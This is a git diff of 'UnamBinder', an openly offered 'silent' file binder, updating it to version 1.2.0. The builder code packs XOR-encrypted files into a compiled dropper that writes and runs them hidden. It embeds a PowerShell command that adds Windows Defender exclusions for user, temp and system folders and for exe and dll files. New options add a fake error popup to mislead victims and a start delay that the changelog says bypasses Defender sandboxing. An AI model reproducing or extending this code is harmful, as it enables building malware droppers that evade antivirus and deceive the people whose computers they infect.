diff --git a/CHANGELOG.md b/CHANGELOG.md
index 07f0f9b..a44f6b6 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,3 +1,12 @@
+### v1.2.0 (14/09/2021)
+* Replaced windres with a custom compiled windres that supports spaces in file paths
+* Removed Base64 encoding/decoding in favor of using bytes directly, meaning no build file size overhead and much faster decoding
+* Added new Fake Error option that will display a custom error when the build is started
+* Added new Start Delay option to delay the dropping and execution of files, can bypass Windows Defender sandboxing
+* Added extensive error checking and more thorough messages whenever anything goes wrong
+* Added new log files for compiler errors
+* Fixed support for executing all types of files
+* Fixed possible bug when encoding very large files
### v1.1.1 (12/09/2021)
* Worked around windres limitation of not supporting spaces in file paths
### v1.1.0 (12/09/2021)
diff --git a/README.md b/README.md
index a4bd4ae..93f47ff 100644
--- a/README.md
+++ b/README.md
@@ -1,7 +1,7 @@
-# UnamBinder 1.1.1 - A free silent native file binder
+# UnamBinder 1.2.0 - A free silent native file binder
A free silent (hidden) open-source native file binder.
@@ -24,6 +24,16 @@ You can find the wiki [here](https://github.com/UnamSanctam/UnamBinder/wiki) or
## Changelog
+### v1.2.0 (14/09/2021)
+* Replaced windres with a custom compiled windres that supports spaces in file paths
+* Removed Base64 encoding/decoding in favor of using bytes directly, meaning no build file size overhead and much faster decoding
+* Added new Fake Error option that will display a custom error when the build is started
+* Added new Start Delay option to delay the dropping and execution of files, can bypass Windows Defender sandboxing
+* Added extensive error checking and more thorough messages whenever anything goes wrong
+* Added new log files for compiler errors
+* Fixed support for executing all types of files
+* Fixed possible bug when encoding very large files
+* Cleaned up code
### v1.1.1 (12/09/2021)
* Worked around windres limitation of not supporting spaces in file paths
### v1.1.0 (12/09/2021)
diff --git a/UnamBinder.png b/UnamBinder.png
index b72638e..b6b7497 100644
Binary files a/UnamBinder.png and b/UnamBinder.png differ
diff --git a/UnamBinder/Builder.Designer.cs b/UnamBinder/Builder.Designer.cs
index 15028be..5a72e7a 100644
--- a/UnamBinder/Builder.Designer.cs
+++ b/UnamBinder/Builder.Designer.cs
@@ -31,6 +31,11 @@ private void InitializeComponent()
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Builder));
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.mephTheme1 = new MephTheme();
+ this.txtError = new MephTextBox();
+ this.checkError = new MephCheckBox();
+ this.labelDelay = new System.Windows.Forms.Label();
+ this.txtDelay = new MephTextBox();
+ this.checkDelay = new MephCheckBox();
this.btnVanity = new MephButton();
this.imageAdmin1 = new System.Windows.Forms.PictureBox();
this.linkGitHub = new System.Windows.Forms.LinkLabel();
@@ -61,8 +66,12 @@ private void InitializeComponent()
// mephTheme1
//
this.mephTheme1.AccentColor = System.Drawing.Color.Indigo;
- this.mephTheme1.Anchor = System.Windows.Forms.AnchorStyles.None;
this.mephTheme1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(28)))), ((int)(((byte)(28)))), ((int)(((byte)(28)))));
+ this.mephTheme1.Controls.Add(this.txtError);
+ this.mephTheme1.Controls.Add(this.checkError);
+ this.mephTheme1.Controls.Add(this.labelDelay);
+ this.mephTheme1.Controls.Add(this.txtDelay);
+ this.mephTheme1.Controls.Add(this.checkDelay);
this.mephTheme1.Controls.Add(this.btnVanity);
this.mephTheme1.Controls.Add(this.imageAdmin1);
this.mephTheme1.Controls.Add(this.linkGitHub);
@@ -74,20 +83,92 @@ private void InitializeComponent()
this.mephTheme1.Controls.Add(this.btnAdd);
this.mephTheme1.Controls.Add(this.label1);
this.mephTheme1.Controls.Add(this.listFiles);
+ this.mephTheme1.Dock = System.Windows.Forms.DockStyle.Fill;
this.mephTheme1.Font = new System.Drawing.Font("Segoe UI", 9.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(128)));
this.mephTheme1.Location = new System.Drawing.Point(0, 0);
this.mephTheme1.Margin = new System.Windows.Forms.Padding(4);
+ this.mephTheme1.MaximumSize = new System.Drawing.Size(348, 387);
+ this.mephTheme1.MinimumSize = new System.Drawing.Size(348, 387);
this.mephTheme1.Name = "mephTheme1";
- this.mephTheme1.Size = new System.Drawing.Size(348, 327);
+ this.mephTheme1.Size = new System.Drawing.Size(348, 387);
this.mephTheme1.SubHeader = "Created by Unam Sanctam";
this.mephTheme1.TabIndex = 0;
- this.mephTheme1.Text = "Unam Binder 1.1.1";
+ this.mephTheme1.Text = "Unam Binder 1.2.0";
+ //
+ // txtError
+ //
+ this.txtError.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(50)))), ((int)(((byte)(50)))));
+ this.txtError.ForeColor = System.Drawing.Color.Silver;
+ this.txtError.Location = new System.Drawing.Point(138, 213);
+ this.txtError.MaxLength = 32767;
+ this.txtError.MultiLine = false;
+ this.txtError.Name = "txtError";
+ this.txtError.Size = new System.Drawing.Size(186, 24);
+ this.txtError.TabIndex = 19;
+ this.txtError.TextAlignment = System.Windows.Forms.HorizontalAlignment.Left;
+ this.txtError.UseSystemPasswordChar = false;
+ this.txtError.Visible = false;
+ this.txtError.WordWrap = false;
+ //
+ // checkError
+ //
+ this.checkError.AccentColor = System.Drawing.Color.FromArgb(((int)(((byte)(128)))), ((int)(((byte)(128)))), ((int)(((byte)(255)))));
+ this.checkError.BackColor = System.Drawing.Color.Transparent;
+ this.checkError.Checked = false;
+ this.checkError.ForeColor = System.Drawing.Color.Black;
+ this.checkError.Location = new System.Drawing.Point(25, 213);
+ this.checkError.Name = "checkError";
+ this.checkError.Size = new System.Drawing.Size(107, 24);
+ this.checkError.TabIndex = 18;
+ this.checkError.Text = "Fake Error";
+ this.checkError.CheckedChanged += new MephCheckBox.CheckedChangedEventHandler(this.checkError_CheckedChanged);
+ //
+ // labelDelay
+ //
+ this.labelDelay.AutoSize = true;
+ this.labelDelay.BackColor = System.Drawing.Color.Transparent;
+ this.labelDelay.ForeColor = System.Drawing.Color.Gray;
+ this.labelDelay.Location = new System.Drawing.Point(167, 246);
+ this.labelDelay.Name = "labelDelay";
+ this.labelDelay.Size = new System.Drawing.Size(64, 17);
+ this.labelDelay.TabIndex = 17;
+ this.labelDelay.Text = "second(s)";
+ this.labelDelay.Visible = false;
+ //
+ // txtDelay
+ //
+ this.txtDelay.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(50)))), ((int)(((byte)(50)))), ((int)(((byte)(50)))));
+ this.txtDelay.ForeColor = System.Drawing.Color.Silver;
+ this.txtDelay.Location = new System.Drawing.Point(138, 243);
+ this.txtDelay.MaxLength = 32767;
+ this.txtDelay.MultiLine = false;
+ this.txtDelay.Name = "txtDelay";
+ this.txtDelay.Size = new System.Drawing.Size(30, 24);
+ this.txtDelay.TabIndex = 16;
+ this.txtDelay.Text = "0";
+ this.txtDelay.TextAlignment = System.Windows.Forms.HorizontalAlignment.Right;
+ this.txtDelay.UseSystemPasswordChar = false;
+ this.txtDelay.Visible = false;
+ this.txtDelay.WordWrap = false;
+ //
+ // checkDelay
+ //
+ this.checkDelay.AccentColor = System.Drawing.Color.FromArgb(((int)(((byte)(128)))), ((int)(((byte)(128)))), ((int)(((byte)(255)))));
+ this.checkDelay.BackColor = System.Drawing.Color.Transparent;
+ this.checkDelay.Checked = false;
+ this.checkDelay.ForeColor = System.Drawing.Color.Black;
+ this.checkDelay.Location = new System.Drawing.Point(25, 243);
+ this.checkDelay.Name = "checkDelay";
+ this.checkDelay.Size = new System.Drawing.Size(107, 24);
+ this.checkDelay.TabIndex = 15;
+ this.checkDelay.Text = "Start Delay";
+ this.checkDelay.CheckedChanged += new MephCheckBox.CheckedChangedEventHandler(this.checkDelay_CheckedChanged);
//
// btnVanity
//
this.btnVanity.BackColor = System.Drawing.Color.Transparent;
this.btnVanity.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(205)))), ((int)(((byte)(205)))));
- this.btnVanity.Location = new System.Drawing.Point(138, 279);
+ this.btnVanity.Location = new System.Drawing.Point(138, 341);
this.btnVanity.Name = "btnVanity";
this.btnVanity.Size = new System.Drawing.Size(186, 23);
this.btnVanity.TabIndex = 14;
@@ -98,7 +179,7 @@ private void InitializeComponent()
//
this.imageAdmin1.BackColor = System.Drawing.Color.Transparent;
this.imageAdmin1.Image = global::UnamBinder.Properties.Resources.microsoft_admin;
- this.imageAdmin1.Location = new System.Drawing.Point(284, 241);
+ this.imageAdmin1.Location = new System.Drawing.Point(284, 302);
this.imageAdmin1.Name = "imageAdmin1";
this.imageAdmin1.Size = new System.Drawing.Size(24, 24);
this.imageAdmin1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom;
@@ -122,7 +203,7 @@ private void InitializeComponent()
//
this.btnBuild.BackColor = System.Drawing.Color.Transparent;
this.btnBuild.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(205)))), ((int)(((byte)(205)))));
- this.btnBuild.Location = new System.Drawing.Point(25, 279);
+ this.btnBuild.Location = new System.Drawing.Point(25, 341);
this.btnBuild.Name = "btnBuild";
this.btnBuild.Size = new System.Drawing.Size(75, 23);
this.btnBuild.TabIndex = 8;
@@ -135,7 +216,7 @@ private void InitializeComponent()
this.checkWD.BackColor = System.Drawing.Color.Transparent;
this.checkWD.Checked = false;
this.checkWD.ForeColor = System.Drawing.Color.Gray;
- this.checkWD.Location = new System.Drawing.Point(25, 242);
+ this.checkWD.Location = new System.Drawing.Point(25, 303);
this.checkWD.Name = "checkWD";
this.checkWD.Size = new System.Drawing.Size(269, 24);
this.checkWD.TabIndex = 6;
@@ -147,7 +228,7 @@ private void InitializeComponent()
this.checkAdmin.BackColor = System.Drawing.Color.Transparent;
this.checkAdmin.Checked = false;
this.checkAdmin.ForeColor = System.Drawing.Color.Black;
- this.checkAdmin.Location = new System.Drawing.Point(25, 212);
+ this.checkAdmin.Location = new System.Drawing.Point(25, 273);
this.checkAdmin.Name = "checkAdmin";
this.checkAdmin.Size = new System.Drawing.Size(250, 24);
this.checkAdmin.TabIndex = 5;
@@ -211,7 +292,7 @@ private void InitializeComponent()
// Builder
//
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None;
- this.ClientSize = new System.Drawing.Size(348, 327);
+ this.ClientSize = new System.Drawing.Size(348, 387);
this.Controls.Add(this.mephTheme1);
this.Font = new System.Drawing.Font("Segoe UI", 9.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(128)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
@@ -219,7 +300,7 @@ private void InitializeComponent()
this.Margin = new System.Windows.Forms.Padding(4);
this.Name = "Builder";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
- this.Text = "Unam Binder 1.1.1";
+ this.Text = "Unam Binder 1.2.0";
this.TransparencyKey = System.Drawing.Color.Fuchsia;
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
this.mephTheme1.ResumeLayout(false);
@@ -244,6 +325,11 @@ private void InitializeComponent()
public MephListBox listFiles;
private System.Windows.Forms.PictureBox imageAdmin1;
private MephButton btnVanity;
+ private MephTextBox txtError;
+ private MephCheckBox checkError;
+ private System.Windows.Forms.Label labelDelay;
+ private MephTextBox txtDelay;
+ private MephCheckBox checkDelay;
}
}
diff --git a/UnamBinder/Builder.cs b/UnamBinder/Builder.cs
index f991b21..b3e8d55 100644
--- a/UnamBinder/Builder.cs
+++ b/UnamBinder/Builder.cs
@@ -3,6 +3,7 @@
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
+using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;
@@ -24,118 +25,185 @@ public Builder()
public void NativeCompiler(string savePath)
{
- key = RandomString(32);
+ try
+ {
+ btnBuild.Text = "Building...";
+ btnBuild.Enabled = false;
+ key = RandomString(32);
+
+ string currentDirectory = Path.GetDirectoryName(savePath);
+ string filename = Path.GetFileNameWithoutExtension(savePath);
+
+ Dictionary paths = new Dictionary(){
+ { "current", currentDirectory },
+ { "compiler", Path.Combine(currentDirectory, "Compiler") },
+ { "compilerlog", Path.Combine(currentDirectory, "Compiler\\logs") },
+ { "windres", Path.Combine(currentDirectory, "Compiler\\MinGW64\\bin\\windres.exe") },
+ { "tcc", Path.Combine(currentDirectory, "Compiler\\tinycc\\tcc.exe") },
+ { "windreslog", Path.Combine(currentDirectory, "Compiler\\logs\\windres.log") },
+ { "tcclog", Path.Combine(currentDirectory, "Compiler\\logs\\tcc.log") },
+ { "manifest", Path.Combine(currentDirectory, "administrator.manifest") },
+ { "resource.rc", Path.Combine(currentDirectory, "resource.rc") },
+ { "resource.o", Path.Combine(currentDirectory, "resource.o") },
+ { "filename", Path.Combine(currentDirectory, filename) }
+ };
+
+ char[] directoryFilter = CheckNonASCII(savePath);
+
+ if (BuildErrorTest(directoryFilter.Length > 0, string.Format("Error: Build path \"{0}\" contains the following illegal special characters: {1}, please choose a build path without any special characters.", savePath, string.Join("", directoryFilter)))) return;
+
+ if (BuildErrorTest(checkDelay.Checked && !txtDelay.Text.All(char.IsDigit), "Error: Start Delay must be a number.")) return;
+
+ if (!Directory.Exists(paths["compiler"]))
+ {
+ Directory.CreateDirectory(paths["compilerlog"]);
+ using (ZipArchive archive = new ZipArchive(new MemoryStream(Properties.Resources.tinycc)))
+ {
+ archive.ExtractToDirectory(paths["compiler"]);
+ }
+ using (ZipArchive archive = new ZipArchive(new MemoryStream(Properties.Resources.MinGW64)))
+ {
+ archive.ExtractToDirectory(paths["compiler"]);
+ }
+ }
- string currentDirectory = Path.GetDirectoryName(savePath);
- string compilerDirectory = Path.Combine(currentDirectory, "Compiler");
- string filename = Path.GetFileName(savePath);
+ StringBuilder sb = new StringBuilder(Properties.Resources.Program1);
- if(compilerDirectory.Length > MAX_PATH)
- {
- MessageBox.Show(string.Format("Error: Path \"{0}\" is longer than the max allowed filepath length of {1} characters. Please choose another shorter filepath to save the build in.", compilerDirectory, MAX_PATH));
- return;
- }
+ bool buildResource = (checkAdmin.Checked || vanity.checkIcon.Checked || vanity.checkAssembly.Checked);
- if (!Directory.Exists(compilerDirectory))
- {
- using (ZipArchive archive = new ZipArchive(new MemoryStream(Properties.Resources.tinycc)))
+ if (buildResource)
{
- archive.ExtractToDirectory(compilerDirectory);
+ StringBuilder resource = new StringBuilder(Properties.Resources.resource);
+ string defs = "";
+ if (vanity.checkIcon.Checked)
+ {
+ resource.Replace("#ICON", vanity.txtIconPath.Text);
+ defs += " -DDefIcon";
+ }
+ if (checkAdmin.Checked)
+ {
+ System.IO.File.WriteAllBytes(paths["manifest"], Properties.Resources.administrator);
+ defs += " -DDefAdmin";
+ }
+ if (vanity.checkAssembly.Checked)
+ {
+ resource.Replace("#TITLE", vanity.txtAssemblyTitle.Text);
+ resource.Replace("#DESCRIPTION", vanity.txtAssemblyDescription.Text);
+ resource.Replace("#COMPANY", vanity.txtAssemblyCompany.Text);
+ resource.Replace("#PRODUCT", vanity.txtAssemblyProduct.Text);
+ resource.Replace("#COPYRIGHT", vanity.txtAssemblyCopyright.Text);
+ resource.Replace("#TRADEMARK", vanity.txtAssemblyTrademark.Text);
+ resource.Replace("#VERSION", string.Join(",", new string[] { vanity.txtAssemblyVersion1.Text, vanity.txtAssemblyVersion2.Text, vanity.txtAssemblyVersion3.Text, vanity.txtAssemblyVersion4.Text }));
+ defs += " -DDefAssembly";
+ }
+
+ System.IO.File.WriteAllText(paths["resource.rc"], resource.ToString());
+ RunExternalProgram(
+ "cmd",
+ string.Format("cmd /c \"{0}\" --input resource.rc --output resource.o -O coff -F pe-i386 {1}", paths["windres"], defs),
+ currentDirectory,
+ paths["windreslog"]
+ );
+ System.IO.File.Delete(paths["resource.rc"]);
+ System.IO.File.Delete(paths["manifest"]);
+
+ if (BuildErrorTest(!System.IO.File.Exists(paths["resource.o"]), string.Format("Error: Failed at compiling resources, check the error log at {0}.", paths["windreslog"]))) return;
}
- using (ZipArchive archive = new ZipArchive(new MemoryStream(Properties.Resources.MinGW64)))
+
+ List stringarray = new List();
+ List intarray = new List();
+
+ int count = listFiles.Items.Count;
+ for (int i = 0; i < count; i++)
{
- archive.ExtractToDirectory(compilerDirectory);
+ File filevar = (File)listFiles.Items[i];
+ try
+ {
+ byte[] filebytes = System.IO.File.ReadAllBytes(filevar.txtBindfile.Text);
+ stringarray.Add("{\"" + filevar.comboDropLocation.Text + "\",\"" + ToLiteral(Cipher(filevar.txtFilename.Text, key)) + "\",\"" + ToLiteral(CipherBytes(filebytes, key)) + "\"}");
+ intarray.Add("{" + filevar.txtFilename.Text.Length + "," + (filevar.toggleExecute.Checked ? "1" : "0") + "," + filebytes.Length + "}");
+ }
+ catch
+ {
+ if (BuildErrorTest(true, "Error: Could not read the file: " + filevar.txtBindfile.Text + ", make sure that the file exists and that the path is correct.")) return;
+ }
}
- }
- string compilerDirectoryShort = ShortPath(compilerDirectory);
+ sb.Replace("#ARRAYCOUNT", count.ToString());
+ sb.Replace("#STRINGARRAY", string.Join(",", stringarray));
+ sb.Replace("#INTARRAY", string.Join(",", intarray));
+ sb.Replace("#KEY", key);
- StringBuilder sb = new StringBuilder(Properties.Resources.Program1);
+ CipherReplace(sb, "#COMMANDRUN", "cmd /c start ");
- bool buildResource = (checkAdmin.Checked || vanity.checkIcon.Checked || vanity.checkAssembly.Checked);
-
- if (buildResource)
- {
- StringBuilder resource = new StringBuilder(Properties.Resources.resource);
- string defs = "";
- if (vanity.checkIcon.Checked)
+ if (checkWD.Checked)
{
- resource.Replace("#ICON", vanity.txtIconPath.Text);
- defs += " -DDefIcon";
+ sb.Replace("DefWD", "TRUE");
+ CipherReplace(sb, "#WDCOMMAND", "cmd /c powershell -Command \"Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force\" & powershell -Command \"Add-MpPreference -ExclusionExtension @('exe','dll') -Force\" & exit");
}
- if (checkAdmin.Checked)
+
+ if (checkDelay.Checked)
{
- System.IO.File.WriteAllBytes(Path.Combine(currentDirectory, "administrator.manifest"), Properties.Resources.administrator);
- defs += " -DDefAdmin";
+ sb.Replace("DefDelay", "TRUE");
+ sb.Replace("#DELAY", txtDelay.Text);
}
- if (vanity.checkAssembly.Checked)
+
+ if (checkError.Checked)
{
- resource.Replace("#TITLE", vanity.txtAssemblyTitle.Text);
- resource.Replace("#DESCRIPTION", vanity.txtAssemblyDescription.Text);
- resource.Replace("#COMPANY", vanity.txtAssemblyCompany.Text);
- resource.Replace("#PRODUCT", vanity.txtAssemblyProduct.Text);
- resource.Replace("#COPYRIGHT", vanity.txtAssemblyCopyright.Text);
- resource.Replace("#TRADEMARK", vanity.txtAssemblyTrademark.Text);
- resource.Replace("#VERSION", string.Join(",", new string[] { vanity.txtAssemblyVersion1.Text, vanity.txtAssemblyVersion2.Text, vanity.txtAssemblyVersion3.Text, vanity.txtAssemblyVersion4.Text }));
- defs += " -DDefAssembly";
+ sb.Replace("DefError", "TRUE");
+ CipherReplace(sb, "#ERRORCOMMAND", "cmd /c powershell -Command \"Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.MessageBox]::Show('" + txtError.Text.Replace("'", "''") + "','Error','OK','Error')\"");
}
- System.IO.File.WriteAllText(Path.Combine(currentDirectory, "resource.rc"), resource.ToString());
- Process.Start(new ProcessStartInfo
- {
- FileName = "cmd",
- Arguments = string.Format("cmd /c \"{0}\" --input resource.rc --output resource.o -O coff -F pe-i386 {1}", compilerDirectoryShort + "\\MinGW64\\bin\\windres.exe", defs),
- WorkingDirectory = currentDirectory,
- WindowStyle = ProcessWindowStyle.Hidden
- }).WaitForExit();
- System.IO.File.Delete(Path.Combine(currentDirectory, "resource.rc"));
- System.IO.File.Delete(Path.Combine(currentDirectory, "administrator.manifest"));
+ System.IO.File.WriteAllText(paths["filename"] + ".c", sb.ToString(), Encoding.GetEncoding("ISO-8859-1"));
+ RunExternalProgram(
+ paths["tcc"],
+ string.Format("-Wall -Wl,-subsystem=windows \"{0}\" {1} -luser32 -m32", paths["filename"] + ".c", buildResource ? "resource.o" : ""),
+ currentDirectory,
+ paths["tcclog"]
+ );
+ System.IO.File.Delete(paths["resource.o"]);
+ System.IO.File.Delete(paths["filename"] + ".c");
+
+ if (BuildErrorTest(!System.IO.File.Exists(paths["filename"] + ".exe"), string.Format("Error: Failed at compiling program, check the error log at {0}.", paths["tcclog"]))) return;
}
+ catch (Exception ex)
+ {
+ MessageBox.Show("Error: An error occured while building the file: " + ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ }
+ btnBuild.Enabled = true;
+ btnBuild.Text = "Build";
+ }
- List stringarray = new List();
- List intarray = new List();
-
- int count = listFiles.Items.Count;
- for (int i = 0; i < count; i++)
+ public void RunExternalProgram(string filename, string arguments, string workingDirectory, string logpath)
+ {
+ using (Process process = new Process())
{
- File filevar = (File)listFiles.Items[i];
- try
- {
- byte[] filebytes = System.IO.File.ReadAllBytes(filevar.txtBindfile.Text);
- string filestring = Convert.ToBase64String(filebytes);
- stringarray.Add("{\"" + filevar.comboDropLocation.Text + "\",\"" + ToLiteral(Cipher(filevar.txtFilename.Text, key)) + "\",\"" + ToLiteral(Cipher(filestring, key)) + "\"}");
- intarray.Add("{" + filevar.txtFilename.Text.Length + "," + (filevar.toggleExecute.Checked ? "1" : "0") + "," + filestring.Length + "," + filebytes.Length + "," + (filevar.toggleHideWindow.Checked ? "1" : "0") + "}");
- }
- catch
+ process.StartInfo.FileName = filename;
+ process.StartInfo.Arguments = arguments;
+ process.StartInfo.WorkingDirectory = workingDirectory;
+ process.StartInfo.CreateNoWindow = true;
+ process.StartInfo.UseShellExecute = false;
+ process.StartInfo.RedirectStandardError = true;
+ process.Start();
+
+ using (StreamWriter writer = System.IO.File.AppendText(logpath))
{
- MessageBox.Show("Could not read the file: " + filevar.txtBindfile.Text + ", make sure that the file exists and that the path is correct.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
- return;
+ writer.Write(process.StandardError.ReadToEnd());
}
+ process.WaitForExit();
}
+ }
- sb.Replace("#ARRAYCOUNT", count.ToString());
- sb.Replace("#STRINGARRAY", string.Join(",", stringarray));
- sb.Replace("#INTARRAY", string.Join(",", intarray));
- sb.Replace("#KEY", key);
-
- if (checkWD.Checked)
+ public bool BuildErrorTest(bool condition, string message)
+ {
+ if (condition)
{
- sb.Replace("DefWD", "TRUE");
- CipherReplace(sb, "#WDCOMMAND", "cmd /c powershell -Command Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force & powershell -Command Add-MpPreference -ExclusionExtension @('exe','dll') -Force & exit");
+ MessageBox.Show(message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ btnBuild.Enabled = true;
+ btnBuild.Text = "Build";
+ return true;
}
-
- System.IO.File.WriteAllText(Path.Combine(currentDirectory, "program.c"), sb.ToString());
- Process.Start(new ProcessStartInfo
- {
- FileName = "cmd",
- Arguments = string.Format("cmd /c \"{0}\" -Wall -Wl,-subsystem=windows program.c {1} -luser32 -m32", compilerDirectoryShort + "\\tinycc\\tcc.exe", buildResource ? "resource.o" : ""),
- WorkingDirectory = currentDirectory,
- WindowStyle = ProcessWindowStyle.Hidden
- }).WaitForExit();
-
- System.IO.File.Delete(Path.Combine(currentDirectory, "resource.o"));
- System.IO.File.Delete(Path.Combine(currentDirectory, "program.c"));
- System.IO.File.Move(Path.Combine(currentDirectory, "program.exe"), Path.Combine(currentDirectory, filename));
+ return false;
}
public void CipherReplace(StringBuilder source, string id, string value)
@@ -158,10 +226,18 @@ public static string RandomString(int length)
public string Cipher(string data, string key)
{
- var result = new StringBuilder();
+ var result = new char[data.Length];
for (int c = 0; c < data.Length; c++)
- result.Append((char)((uint)data[c] ^ key[c % key.Length]));
- return result.ToString();
+ result[c] = (char)((uint)data[c] ^ key[c % key.Length]);
+ return string.Join("", result);
+ }
+
+ public string CipherBytes(byte[] data, string key)
+ {
+ var result = new char[data.Length];
+ for (int c = 0; c < data.Length; c++)
+ result[c] = (char)((uint)data[c] ^ key[c % key.Length]);
+ return string.Join("", result);
}
private static string ToLiteral(string input)
@@ -189,14 +265,9 @@ private static string ToLiteral(string input)
return literal.ToString();
}
- [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
- public static extern int GetShortPathName([MarshalAs(UnmanagedType.LPWStr)]string path, [MarshalAs(UnmanagedType.LPWStr)]StringBuilder shortPath, int shortPathLength);
-
- private static string ShortPath(string path)
+ public static char[] CheckNonASCII(string text)
{
- var shortPath = new StringBuilder(MAX_PATH);
- GetShortPathName(path, shortPath, MAX_PATH);
- return shortPath.ToString();
+ return text.Where(c => c > 127).ToArray();
}
public string SaveDialog(string filter)
@@ -260,5 +331,16 @@ private void btnVanity_Click(object sender, EventArgs e)
{
vanity.Show();
}
+
+ private void checkError_CheckedChanged(object sender)
+ {
+ txtError.Visible = checkError.Checked;
+ }
+
+ private void checkDelay_CheckedChanged(object sender)
+ {
+ txtDelay.Visible = checkDelay.Checked;
+ labelDelay.Visible = checkDelay.Checked;
+ }
}
}
diff --git a/UnamBinder/File.Designer.cs b/UnamBinder/File.Designer.cs
index 70a33cf..7231010 100644
--- a/UnamBinder/File.Designer.cs
+++ b/UnamBinder/File.Designer.cs
@@ -30,8 +30,6 @@ private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(File));
this.mephTheme1 = new MephTheme();
- this.label5 = new System.Windows.Forms.Label();
- this.toggleHideWindow = new MephToggleSwitch();
this.btnIconBrowse = new MephButton();
this.label4 = new System.Windows.Forms.Label();
this.txtFilename = new MephTextBox();
@@ -47,10 +45,7 @@ private void InitializeComponent()
// mephTheme1
//
this.mephTheme1.AccentColor = System.Drawing.Color.Indigo;
- this.mephTheme1.Anchor = System.Windows.Forms.AnchorStyles.None;
this.mephTheme1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(28)))), ((int)(((byte)(28)))), ((int)(((byte)(28)))));
- this.mephTheme1.Controls.Add(this.label5);
- this.mephTheme1.Controls.Add(this.toggleHideWindow);
this.mephTheme1.Controls.Add(this.btnIconBrowse);
this.mephTheme1.Controls.Add(this.label4);
this.mephTheme1.Controls.Add(this.txtFilename);
@@ -60,37 +55,18 @@ private void InitializeComponent()
this.mephTheme1.Controls.Add(this.comboDropLocation);
this.mephTheme1.Controls.Add(this.label1);
this.mephTheme1.Controls.Add(this.txtBindfile);
+ this.mephTheme1.Dock = System.Windows.Forms.DockStyle.Fill;
this.mephTheme1.Font = new System.Drawing.Font("Segoe UI", 9.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(128)));
this.mephTheme1.Location = new System.Drawing.Point(0, 0);
this.mephTheme1.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
+ this.mephTheme1.MaximumSize = new System.Drawing.Size(253, 276);
+ this.mephTheme1.MinimumSize = new System.Drawing.Size(253, 276);
this.mephTheme1.Name = "mephTheme1";
- this.mephTheme1.Size = new System.Drawing.Size(253, 309);
+ this.mephTheme1.Size = new System.Drawing.Size(253, 276);
this.mephTheme1.SubHeader = "File to bind";
this.mephTheme1.TabIndex = 0;
this.mephTheme1.Text = "Edit File";
//
- // label5
- //
- this.label5.AutoSize = true;
- this.label5.BackColor = System.Drawing.Color.Transparent;
- this.label5.ForeColor = System.Drawing.Color.Gray;
- this.label5.Location = new System.Drawing.Point(15, 271);
- this.label5.Name = "label5";
- this.label5.Size = new System.Drawing.Size(140, 17);
- this.label5.TabIndex = 20;
- this.label5.Text = "Hide Console Window:";
- //
- // toggleHideWindow
- //
- this.toggleHideWindow.BackColor = System.Drawing.Color.Transparent;
- this.toggleHideWindow.Checked = false;
- this.toggleHideWindow.ForeColor = System.Drawing.Color.Black;
- this.toggleHideWindow.Location = new System.Drawing.Point(188, 268);
- this.toggleHideWindow.Name = "toggleHideWindow";
- this.toggleHideWindow.Size = new System.Drawing.Size(50, 24);
- this.toggleHideWindow.TabIndex = 19;
- this.toggleHideWindow.Text = "toggleHideWindow";
- //
// btnIconBrowse
//
this.btnIconBrowse.BackColor = System.Drawing.Color.Transparent;
@@ -133,7 +109,7 @@ private void InitializeComponent()
this.label3.AutoSize = true;
this.label3.BackColor = System.Drawing.Color.Transparent;
this.label3.ForeColor = System.Drawing.Color.Gray;
- this.label3.Location = new System.Drawing.Point(15, 241);
+ this.label3.Location = new System.Drawing.Point(15, 238);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(78, 17);
this.label3.TabIndex = 6;
@@ -144,7 +120,7 @@ private void InitializeComponent()
this.toggleExecute.BackColor = System.Drawing.Color.Transparent;
this.toggleExecute.Checked = true;
this.toggleExecute.ForeColor = System.Drawing.Color.Black;
- this.toggleExecute.Location = new System.Drawing.Point(188, 238);
+ this.toggleExecute.Location = new System.Drawing.Point(188, 236);
this.toggleExecute.Name = "toggleExecute";
this.toggleExecute.Size = new System.Drawing.Size(50, 24);
this.toggleExecute.TabIndex = 5;
@@ -212,13 +188,12 @@ private void InitializeComponent()
// File
//
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None;
- this.ClientSize = new System.Drawing.Size(253, 309);
+ this.ClientSize = new System.Drawing.Size(253, 276);
this.Controls.Add(this.mephTheme1);
this.Font = new System.Drawing.Font("Segoe UI", 9.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(128)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
